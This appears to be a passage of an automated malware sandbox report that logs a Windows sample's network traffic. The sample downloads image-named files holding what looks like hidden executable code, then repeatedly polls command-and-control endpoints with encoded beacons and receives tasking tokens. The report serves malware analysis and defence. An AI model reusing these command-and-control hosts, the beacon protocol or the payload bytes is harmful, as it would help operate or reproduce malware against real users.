Sep 14, 2024 18:44:15.539706945 CEST	116	OUT	GET /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:15.649604082 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:15 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 473 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JHCIGUt%2BPNjj8l5BKr%2FMBTHKfNPSr%2FnX6ajtAPjy%2F9ItIXgMz%2Fba5hx6tyZc6CMhAFBRgz2pdr32l6DRkO72W57jB%2BPvogFTsd4rPmHkcilGr17gA9T2S5CxELoA%2F%2Bq2pMzv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d735786e42ca-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d 76 de 12 00 00 00 00 00 36 00 00 00 28 00 00 00 2c 02 00 00 2c 02 00 00 01 00 20 00 00 00 00 00 40 de 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 52 90 00 64 08 00 00 63 08 00 00 98 f7 00 00 df 08 00 00 67 08 00 00 27 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 97 08 00 00 69 17 ba 0e 67 bc 09 cd 46 b0 01 4c aa 29 54 68 0e 7b 20 70 15 67 67 72 06 65 20 63 06 66 6e 6f 13 28 62 65 47 7a 75 6e 47 61 6e 20 23 47 53 20 0a 67 64 65 49 05 0d 0a 43 08 00 00 67 08 00 00 9a 88 c4 41 de e9 aa 12 de e9 aa 12 de e9 aa 12 b1 9f 34 12 ea e9 aa 12 b1 9f 00 12 46 e9 aa 12 b1 9f 01 12 f1 e9 aa 12 d7 91 29 12 dd e9 aa 12 d7 91 39 12 cf e9 aa 12 de e9 ab 12 04 e9 aa 12 b1 9f 05 12 ff e9 aa 12 b1 9f 31 12 df e9 aa 12 b1 9f 30 12 df e9 aa 12 b1 9f 37 12 df e9 aa 12 35 61 63 68 de e9 aa 12 67 08 00 00 67 08 00 00 37 4d 00 00 2b 09 05 00 52 1c b7 66 67 08 00 00 67 08 00 00 87 08 02 21 6c 09 0a 00 67 b6 0a 00 67 38 09 00 67 08 00 00 43 55 08 00 [TRUNCATED] Data Ascii: BMv6(,, @*Rdcg'ggggggggigFL)Th{ pggre cfno(beGzunGan #GS gdeICgA4F)91075achgg7M+Rfgg!lgg8gCUgggggbgbgg8gge@gggggwA>g8?gggggHgggggggg? 'gggggggg
Sep 14, 2024 18:44:17.539403915 CEST	117	OUT	HEAD /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:17.645103931 CEST	697	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:17 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 472 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FV9Qf%2FaDxebkVCgQenyn8Sx2n3v2VGfcvbjux%2Bq6DZMLUPD3SgeIOJfpm6qX8UschZWUNof9s%2FRuUEbmVe%2BM6D44fn9XFTdm5Jl0XPYuzZF%2FsfENd2cQRuFI%2B%2FGyugXlOHNt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d741ee2042ca-EWR alt-svc: h3=":443"; ma=86400
Sep 14, 2024 18:44:17.645806074 CEST	116	OUT	GET /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:17.750824928 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:17 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 472 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=et0P%2F3ClUkr2WKd7wftUC5dedw3KwMQ1QeeLGf0OR0yR994o9WOGznZE4aSqdQTRxV5Dy2uD7uotCirzCySImmHpqFV%2BLeg4Oun5ml%2FQ1Muie4iE5Jl67Rvv756WDheWPBXt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7429f2342ca-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d de b2 08 00 00 00 00 00 36 00 00 00 28 00 00 00 7a 01 00 00 79 01 00 00 01 00 20 00 00 00 00 00 a8 b2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 08 00 00 67 50 55 89 82 81 c2 05 98 03 00 00 e6 ca ff b1 6f 08 68 05 67 08 00 68 63 08 00 00 35 60 ab 74 8d 51 50 e8 62 08 00 00 e4 cc 14 c9 a4 89 ec 14 66 08 00 53 32 5e 57 6a 0c 50 6a 65 01 81 84 24 ab 08 00 00 54 e5 58 6a 15 51 6a 6e 3c 62 6c 5a 0d 3b 66 89 e3 2c ce 00 67 08 66 89 e3 2c d4 00 67 08 58 6a 55 6e 89 84 43 d0 00 00 67 50 6a 2e 01 81 84 24 bd 08 00 00 3f 62 64 66 ee 8c 24 dc 67 08 00 58 ee a4 24 b0 67 08 00 89 0b 2c 34 89 cb 2c b8 00 67 08 89 ac 43 cc 00 00 67 81 ac 24 d3 08 00 00 ee a4 24 ac 67 08 00 89 cb 2c e0 00 67 08 66 89 eb 2c cc 00 67 08 66 89 fb 2c ce 00 67 08 66 89 f3 2c d2 00 67 08 66 89 e3 2c da 00 67 08 66 89 f3 2c dc 00 67 08 66 89 f3 2c de 00 67 08 c6 44 43 34 53 88 33 2c 3d 66 a0 4c 24 3e 02 6d c6 44 43 48 70 66 a0 4c 24 50 2b 67 c6 44 43 5a 61 88 23 2c 53 66 a0 4c 24 54 2b 61 c6 44 43 5e 62 88 2b 2c 57 c6 [TRUNCATED] Data Ascii: BM6(zy gPUohghc5`tQPbfS2^WjPje$TXjQjn<blZ;f,gf,gXjUnCgPj.$?bdf$gX$g,4,gCg$$g,gf,gf,gf,gf,gf,gf,gDC4S3,=fL$>mDCHpfL$P+gDCZa#,SfL$T+aDC^b+,W#,XaD$YD$=qAfL$D1aLCNf#,GtD$.iTCBDCCA3,L3,MfL$Nkf#,\VL$9nDCWtuL$aT$D$XLClDCmotkDCat,gF,gCg}sh.$$\|Cg$kti$gomY,gLCeLC\|LCqCg

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	104.21.17.45	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:37 UTC	281	OUT	POST /api.php/common/getdomain HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 18 Host: caces.goldenh0ur.com
2024-09-14 16:44:37 UTC	18	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 43 55 30 3d Data Ascii: A0TxZkW19VWhYOCU0=
2024-09-14 16:44:38 UTC	732	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TMk5lX8nk9wu%2Bdh9PMQDPCwfwTSkPMjnKEw7t%2BWoh4CMMKTNyNXtGBsLqk47SLdbRdYEZ0r8KTdf%2Fi512W5AbSFEbZLeRrQBlAiFuMbzYvjcnR2Xmcbw7UzqlvGJGnhhBd9CKtWjTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7bf096143f7-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:38 UTC	48	IN	Data Raw: 32 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 2c 22 44 6f 6d 61 69 6e 22 3a 22 6d 76 63 2e 77 69 74 68 6f 75 74 79 6f 75 35 2e 63 6f 6d 22 7d 0d 0a Data Ascii: 2a{"Token":1,"Domain":"mvc.withoutyou5.com"}
2024-09-14 16:44:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49725	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:39 UTC	283	OUT	POST /api.php/common/receivejson HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 474 Host: mvc.withoutyou5.com
2024-09-14 16:44:39 UTC	474	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 42 67 67 49 48 42 5a 38 57 31 64 5a 58 49 46 6f 46 67 34 57 43 52 45 47 47 67 6b 43 45 42 6f 47 47 67 49 57 48 42 61 41 57 30 64 45 65 6c 6c 64 56 52 59 4f 46 67 49 49 45 51 59 52 43 42 59 63 46 6e 74 6e 67 56 70 53 57 78 59 4f 46 68 35 39 59 56 64 47 57 30 64 62 55 6b 51 59 59 32 46 61 56 46 74 44 52 78 67 4a 43 42 68 6f 52 6c 73 43 42 42 31 57 59 55 52 51 41 67 51 57 48 42 5a 48 57 31 4a 45 51 31 6c 47 56 52 59 4f 46 6d 4e 68 57 6c 52 62 51 30 63 59 64 46 56 53 56 56 70 55 56 55 59 57 48 42 5a 58 53 45 56 72 58 57 42 4f 46 67 34 57 67 56 70 45 56 56 77 67 5a 69 45 59 64 31 74 47 56 53 42 6b 66 53 45 47 47 48 64 6f 5a 52 67 43 41 67 67 49 47 48 67 59 42 68 6f 45 43 42 68 7a 67 45 34 57 48 42 5a 5a 56 30 52 68 51 Data Ascii: A0TxZkW19VWhYOBggIHBZ8W1dZXIFoFg4WCREGGgkCEBoGGgIWHBaAW0dEelldVRYOFgIIEQYRCBYcFntngVpSWxYOFh59YVdGW0dbUkQYY2FaVFtDRxgJCBhoRlsCBB1WYURQAgQWHBZHW1JEQ1lGVRYOFmNhWlRbQ0cYdFVSVVpUVUYWHBZXSEVrXWBOFg4WgVpEVVwgZiEYd1tGVSBkfSEGGHdoZRgCAggIGHgYBhoECBhzgE4WHBZZV0RhQ
2024-09-14 16:44:40 UTC	720	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=02vUzdYlNZ0Q1JMg%2BK4Ac62lwDlBhdkcRy8kKxFrbJC48YzTbOZhD18MkHzVsiAx5TdEm7N7xlLUTBfyDybd1nuxC64X0uBC96LNmYGIWo6Ldtk0eOuPaWBmFHJ0MUiTup6Qn7VS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7ca2ac71a13-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:40 UTC	56	IN	Data Raw: 33 32 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 31 65 6d 69 33 36 36 67 63 64 6e 6f 71 72 6b 72 31 31 38 31 62 65 67 76 72 33 22 7d 0d 0a Data Ascii: 32{"Token":5,"message":"1emi366gcdnoqrkr1181begvr3"}
2024-09-14 16:44:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:40 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:44:40 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 43 45 30 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CCE0=
2024-09-14 16:44:41 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:41 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PR4yn0OK23XAkHmhPci731pwJOtjUQA2dwJhbABL3natDD8U3AaK6Vr5C2Ny5ulJywFGJ0wgzD1YcfuPKQ6BRIAEue5SzFAxbstblv1OvrkCc7wSfnEY7t9SrtE9nqM%2B47JKsdm%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7d1aa3743ec-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:41 UTC	46	IN	Data Raw: 32 38 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 54 61 73 6b 53 6c 65 65 70 22 3a 36 7d 0d 0a Data Ascii: 28{"Token":117,"message":"","TaskSleep":6}
2024-09-14 16:44:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49727	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:46 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:44:46 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:44:47 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2el8QpMPxPa4AkU6R%2FCMEmoue%2FiBu07gs1XJBupRrVyTNgbo2LKiD753JH3H789QO1k3qvnip5woA59kg8Gs6NkgBjemVRwG1phfgFsh7REX4QwstKAVzen6cHlFtTiVkLprwBs7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7f8ea7c7293-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:47 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:44:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49728	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:55 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:44:55 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:44:55 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i48fQtFBIFczSHWq7GBSCHxj8tJwRIE1WRLzgDFWrZY%2FFjRkdlbovvTSbKiQKPvx%2B3b829uA66u1fZ4ICBlRosuWxwLdjEJX2rwBvNTNbbBvUzW30mvCyrrb23wsxKbEz3p2mamO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d82cbadd4265-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:55 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:44:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49729	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:03 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:03 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:04 UTC	570	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=521T4y4oDzhTGeGesOo8EMMaP6ioL%2BlsbO0q%2FJzLyRgjxUYCNtIZgZRkfr87DOEllfU1BEYvs0q%2F2Ry7XULH4nLfis3XAB3gTwXMly5%2BJh4tmOvBr8EOPsreVEzczGTvgH0L3utM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d8612dc95e68-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:04 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49731	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:12 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:12 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:13 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5JLiJjnNG7f85WkBAdCk3BuX47dCRg3yNBAbScMhl0cYDe%2F77BFe4r%2BY3X1zoanoFWKp76Rf4nAdl1Z40rYHDFNPDWm1oj3f0WbfZI79uAoI60wfdCFM2aqnUioqC53pLWUFR47S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d89b8af543df-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:13 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49732	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:19 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:19 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:20 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:20 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rcuHCqBtW039a3wCADQtWXsx6e124v79tV9wx3VAiD3dlSNSlsH2YEzDTo%2B024zcvc3FaNjFqzdpz117%2BKdiq99PkBvT2UcM9tvxQuaOuvYkHR15FeMNukk7KrRV5AwPnYanhcGC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d8c71c39427f-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:20 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49733	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:25 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:25 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:26 UTC	578	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VEo8f%2BT4xVG8D9UcHquNC9bzHA7Reei6tH5eVarFaC8z%2FbzaaS3iiAZkotCN8iRJ9UT5AAG2jn11D6NN%2FHsRn46TNbilZN6HsY9mxa4r0Chwr1Q%2FkUV%2FEEiGveZ%2BzLGDq%2B%2FQBljg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d8ed799a72b3-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:26 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49734	172.67.72.137	443	6884	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:33 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: 1emi366gcdnoqrkr1181begvr3 Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:33 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:33 UTC	574	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oXA6AX92SjCIWGZ5gcciqzpr7dpVGCu%2FTNf72LziPfYD04bByoB5%2F%2BOUaa4KC9pv%2BN%2FIhBkB846dThvZsPQ1vwbRGq1lcq8KE8Xonlbfpjds0LTv%2FvkDCHHRQBxnCsYZnVmDMQz6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d91a6ad2437b-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:33 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:42:33
Start date:	14/09/2024
Path:	C:\Users\user\Desktop\8CoDx513sS.exe
Wow64 process (32bit):	true
